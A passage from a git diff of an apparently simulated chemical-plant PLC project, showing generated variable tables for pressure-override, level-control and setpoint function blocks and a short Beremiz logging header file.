+231;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;PRESSURE_OVERRIDE; +232;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;BOOL; +233;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;BOOL; +234;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;REAL; +235;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;UINT; +236;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;UINT; +237;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;REAL; +238;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;REAL; +239;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;REAL; +240;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;REAL; +241;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;UINT; +242;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;REAL; +243;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;UINT; +244;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;REAL; +245;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;REAL; +246;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;TIME; +247;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;SCALE_TO_REAL; +248;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;BOOL; +249;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;BOOL; +250;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;UINT; +251;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;REAL; +252;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;REAL; +253;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;REAL; +254;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;UINT; +255;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;UINT; +256;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;REAL; +257;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;REAL; +258;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;REAL; +259;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;REAL; +260;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;REAL; +261;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;REAL; +262;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;SCALE_TO_REAL; +263;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;BOOL; +264;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;BOOL; +265;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +266;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;REAL; +267;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;REAL; +268;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;REAL; +269;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;UINT; +270;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;UINT; +271;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;REAL; +272;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;REAL; +273;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;REAL; +274;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;REAL; +275;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +276;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +277;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +278;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +279;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +280;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +281;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +282;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +283;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +284;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +285;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +286;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +287;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +288;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +289;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +290;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +291;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +292;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +293;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +294;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +295;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +296;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +297;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +298;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +299;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +300;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +301;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +302;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +303;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +304;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +305;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +306;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +307;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +308;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +309;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +310;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +311;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +312;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +313;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +314;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +315;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +316;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +317;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +318;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +319;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +320;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +321;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +322;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +323;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +324;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +325;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +326;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +327;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +328;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +329;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +330;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +331;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +332;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +333;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +334;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +335;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +336;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +337;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +338;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +339;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +340;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +341;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +342;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +343;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +344;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +345;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +346;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +347;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +348;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +349;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +350;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +353;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +354;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +355;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +356;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +357;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +358;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +359;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +360;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +361;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +362;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +363;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +364;VAR;CONFIG0.RES0.INSTANCE0.MOVE99_ENO;CONFIG0.RES0.INSTANCE0.MOVE99_ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.MOVE99_OUT;CONFIG0.RES0.INSTANCE0.MOVE99_OUT;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.MOVE4_ENO;CONFIG0.RES0.INSTANCE0.MOVE4_ENO;BOOL; +367;VAR;CONFIG0.RES0.INSTANCE0.MOVE4_OUT;CONFIG0.RES0.INSTANCE0.MOVE4_OUT;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.MOVE5_ENO;CONFIG0.RES0.INSTANCE0.MOVE5_ENO;BOOL; +369;VAR;CONFIG0.RES0.INSTANCE0.MOVE5_OUT;CONFIG0.RES0.INSTANCE0.MOVE5_OUT;UINT; +370;VAR;CONFIG0.RES0.INSTANCE0.MOVE7_ENO;CONFIG0.RES0.INSTANCE0.MOVE7_ENO;BOOL; +371;VAR;CONFIG0.RES0.INSTANCE0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.MOVE7_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git 